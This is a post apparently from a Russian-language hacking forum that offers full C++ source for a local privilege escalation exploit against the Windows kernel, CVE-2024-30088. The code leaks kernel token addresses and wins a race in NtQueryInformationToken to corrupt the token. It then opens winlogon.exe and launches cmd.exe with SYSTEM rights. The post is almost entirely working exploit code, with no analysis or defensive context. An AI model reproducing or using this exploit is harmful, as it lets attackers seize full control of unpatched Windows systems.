• XSS.stack #1 – первый литературный журнал от юзеров форума

Local CVE-2024-30088 Windows Kernel EoP

Focus17

(L2) cache
Пользователь
Регистрация
10.10.2019
Сообщения
328
Реакции
51
Гарант сделки
2
Депозит
0.11


main.cpp
C++:
#include <Windows.h>
#include <stdio.h>
#include "ex.h"


///
// Helper stuff for kernel R/W using Nt(Read/Write)VirtualMemory
//

#pragma comment(lib, "ntdll.lib")

#define OFFSET_PID 0x440
#define OFFSET_PROCESS_LINKS 0x448
#define OFFSET_TOKEN 0x4b8
#define OFFSET_KPROCESS 0x220

typedef NTSTATUS(*pNtWriteVirtualMemory)(
    IN HANDLE               ProcessHandle,
    IN PVOID                BaseAddress,
    IN PVOID                Buffer,
    IN ULONG                NumberOfBytesToWrite,
    OUT PULONG              NumberOfBytesWritten OPTIONAL
    );

typedef NTSTATUS(*pNtReadVirtualMemory)(
    IN HANDLE               ProcessHandle,
    IN PVOID                BaseAddress,
    OUT PVOID               Buffer,
    IN ULONG                NumberOfBytesToRead,
    OUT PULONG              NumberOfBytesReaded OPTIONAL)
    ;

typedef NTSTATUS NtQueryInformationToken(
    HANDLE                  TokenHandle,
    TOKEN_INFORMATION_CLASS TokenInformationClass,
    PVOID                   TokenInformation,
    ULONG                   TokenInformationLength,
    PULONG                  ReturnLength
);

typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
{
    ULONG SecurityAttributeCount;                                           //0x0
    struct _LIST_ENTRY SecurityAttributesList;                              //0x4
    ULONG WorkingSecurityAttributeCount;                                    //0xc
    struct _LIST_ENTRY WorkingSecurityAttributesList;                       //0x10
} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

//
// Global vars
//
NtQueryInformationToken* pQueryInfoToken = 0;
HANDLE hToken;
BYTE* TokenInfo = 0;
DWORD Infolen = 0x1000;
DWORD retlen = 0;
DWORD OffsetToName = 0;
BYTE* RaceAddr = 0;
ULONGLONG kTokenAddr = 0;

void RaceThread() {
    ULONGLONG value = kTokenAddr + 0x40 - 4;
    for (int i = 0; i < 0x10000; i++) {
        *(WORD*)(RaceAddr + 2) = 2;
        *(ULONGLONG*)(RaceAddr + 8) = value;
    }   
}

int main() {
    HMODULE ntdll = GetModuleHandleA("ntdll");
    pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
    kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);
    printf("hToken: %x, kTokenAddr: %p\n", hToken, kTokenAddr);

    getchar();


    TokenInfo = (BYTE*)VirtualAlloc(0, Infolen, MEM_COMMIT, PAGE_READWRITE);
    if (!TokenInfo)
        return -1;

    NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

    if (status == 0) {
        _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes = (_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;
        if (pSecurityAttributes->SecurityAttributeCount) {
            BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;
            if (Flink) {
                OffsetToName = Flink + 0x20 - TokenInfo;
                printf("Found target offset value: 0x%x\n", OffsetToName);
            }
        }
    }

    if (!OffsetToName)
        return -1;

    RaceAddr = TokenInfo + OffsetToName;
    printf("Target address = 0x%llx\n", RaceAddr);
    //getchar();

    HANDLE hWinLogon = INVALID_HANDLE_VALUE;
    ULONG pid = GetPidByName(L"winlogon.exe");
    while(1) {
        HANDLE h = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RaceThread, 0, 0, 0);
        SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);

        //DebugBreak();
        for (int i = 0; i < 5000; i++)
            pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);

        WaitForSingleObject(h, INFINITE);

        hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        if (hWinLogon)
            break;
    }
    
    printf("Got Winlogon handle: 0x%x\n", hWinLogon);
    getchar();

    CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe");

    CloseHandle(hWinLogon);
    CloseHandle(hToken);

    return 0;
}

ex.h
C++:
#pragma once
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#define MAXIMUM_FILENAME_LENGTH 255

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

PVOID GetKernelPointerByHandle(HANDLE HandleValue)
{
    HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (query == NULL) {
        printf("GetProcAddress() failed.\n");
        return 0;
    }
    ULONG len = 20;
    NTSTATUS status = (NTSTATUS)0xc0000004;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    do {
        len *= 2;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);

        status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);

    } while (status == (NTSTATUS)0xc0000004);
    if (status != (NTSTATUS)0x0) {
        printf("NtQuerySystemInformation failed with error code 0x%X\n", status);
        return 0;
    }

    DWORD CurrentPid = GetCurrentProcessId();
    for (int i = 0; i < pHandleInfo->HandleCount; i++) {
        PVOID object = pHandleInfo->Handles[i].Object;
        HANDLE handle = pHandleInfo->Handles[i].HandleValue;
        HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
        
        if ((DWORD)pid == CurrentPid && handle == HandleValue) {
            printf("Found object!\n");
            return object;
        }

    }
    return 0;
}

ULONG GetPidByName(const wchar_t* procname) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    ULONG pid;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (wcscmp(entry.szExeFile, procname) == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);
    return pid;
}

//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;

    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        command,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

    if (ret == false) {
        printf("Error creating new process (%d)\n", GetLastError());
        return 3;
    }

    printf("Enjoy your new SYSTEM process\n");
    return 0;
}
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх